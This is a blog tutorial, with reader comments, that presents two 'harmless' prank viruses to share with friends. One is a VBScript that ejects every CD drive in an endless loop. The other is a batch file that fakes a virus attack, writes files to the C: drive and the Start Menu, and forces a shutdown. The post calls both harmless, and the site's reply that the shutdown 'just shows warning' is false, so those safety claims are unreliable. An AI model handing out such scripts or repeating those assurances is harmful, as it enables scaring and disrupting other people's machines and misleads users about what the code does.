How To Create A Harmless Funny Virus with Notepad
Notepad Tricks

Easy Way To Create A Harmless Funny Virus with Notepad

Today we are going to share some of the funniest notepad pranks with you . These pranks are totally harmless and you can share them with your friends without any fear. Follow The steps given below to create a harmless funny virus with your notepad.

Steps To Create a harmless funny virus :

Virus 1 : Continuously Ejects your the CD-ROM :


This trick will create a code in your PC which will continuously eject all the connected Optical drives. Even if you put them back ,  it will pop them out again and again .


Step 1 : Copy the below given code and paste it in your Notepad .

Easy Way To Create A Harmless Funny Virus with Notepad

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Step 2 : Save that file with ” .vbs ” extension i.e  as ” Harmless.vbs ” . You can save it with what ever name you want .

Easy Way To Create A Harmless Funny Virus with Notepad

Step 3 : Double click on the file to open . I hope you will be impressed a lot with this awesome trick.

Easy Way To Create A Harmless Funny Virus with Notepad

To stop it :

=>Open your task manager by pressing ctrl+ alt+ del .
=> Go to the process tab and select the wscript.exe .
=> Now click on end process.

Virus 2 : Make a Fake Virus Batch File:

This is also a funny virus prank that I recently came across . The best thing about this prank is that it resembles an original virus attack . Just try it by yourself to see whats happens.

Step 1 : Open Notepad .

Step 2 : Copy and paste the below code in your notepad .

`Easy Way To Create A Harmless Funny Virus with Notepad

cls 
:A 
color 0a 
cls 
@echo off 
echo Wscript.Sleep 
echo Wscript.Sleep 5000>C:sleep5000.vbs 
echo Wscript.Sleep 3000>C:sleep3000.vbs 
echo Wscript.Sleep 4000>C:sleep4000.vbs 
echo Wscript.Sleep 2000>C:sleep2000.vbs 
cd %systemroot%System32 
dir 
cls 
start /w wscript.exe C:sleep3000.vbs 
echo Deleting Critical System Files… 
echo del *.* 
start /w wscript.exe C:sleep3000.vbs 
echo Deletion Successful! 
start /w wscript.exe C:sleep2000.vbs 
echo: 
echo: 
echo: 
echo Deleting Root Partition… 
start /w wscript.exe C:sleep2000.vbs 
echo del %SYSTEMROOT% 
start /w wscript.exe C:sleep4000.vbs 
echo Deletion Successful! 
start /w wscript.exe C:sleep2000.vbs 
echo: 
echo: 
echo: 
echo Creating Directory h4x… 
cd C:Documents and SettingsAll UsersStart MenuPrograms 
mkdir h4x 
start /w wscript.exe C:sleep3000.vbs 
echo Directory Creation Successful! 
echo: 
echo: 
echo: 
echo Execution Attempt 1… 
start /w wscript.exe C:sleep3000.vbs 
echo cd C:Documents and SettingsAll UsersStart MenuProgramsStartuph4x 
echo start hax.exe 
start /w wscript.exe C:sleep3000.vbs 
echo Virus Executed! 
echo: 
echo: 
echo: 
start /w wscript.exe C:sleep2000.vbs 
echo Disabling Windows Firewall… 
start /w wscript.exe C:sleep2000.vbs 
echo Killing all processes… 
start /w wscript.exe C:sleep2000.vbs 
echo Allowing virus to boot from startup… 
start /w wscript.exe C:sleep2000.vbs 
echo: 
echo: 
echo Virus has been successfully executed !
start /w wscript.exe C:sleep2000.vbs 
echo: 
echo Have fun! 
start /w wscript.exe C:sleep2000.vbs 
pause 
shutdown -s -t 10 -c " Your computer is on the way to hell. Better luck next time :-P . "

Step 3 : Save this file with ” .bat ” extension i.e as ” Joke.bat ” .

Easy Way To Create A Harmless Funny Virus with Notepad

Step 4 : Double click on the file to open .

Double click on the file to open . I hope you will be impressed a lot with this awesome trick.

I Hope You All Like It . Share your views in form of comments ….

9 thoughts on “Easy Way To Create A Harmless Funny Virus with Notepad

  1. love dhawan says:

    Really helpful post . thnkx for posting this 🙂

  2. panky17 says:

    how to remove that?

    1. OnlineCmag Team says:

      To stop this virus you just need to stop that process. Just click “Ctrl+Alt+Del” and enter “task manager” and click on the process with name same as that file name for example “virus.bat” in this article.

      1. Windows user says:

        Is the computer supposed to shut down??

        1. OnlineCmag Team says:

          No, it just shows warning.

  3. Chris says:

    I tied it on myself and it scared the shit out of me because when i ended the process the “sleep” files were still there. xD

  4. ope says:

    please i can’t remove the 2nd one on my system.
    please mail me [email protected] for solution
    it’s my sister’s laptop and she will kill me for sure
    plsssssssssssssss
    anticipating your positive/prompt reply

  5. Hayden says:

    omg it keeps opening my disk tray

  6. OnlineCmag Team says:

    Hey Ope,

    Just Restart your system in safe mode, It will fix it.

Leave a Reply

Your email address will not be published. Required fields are marked *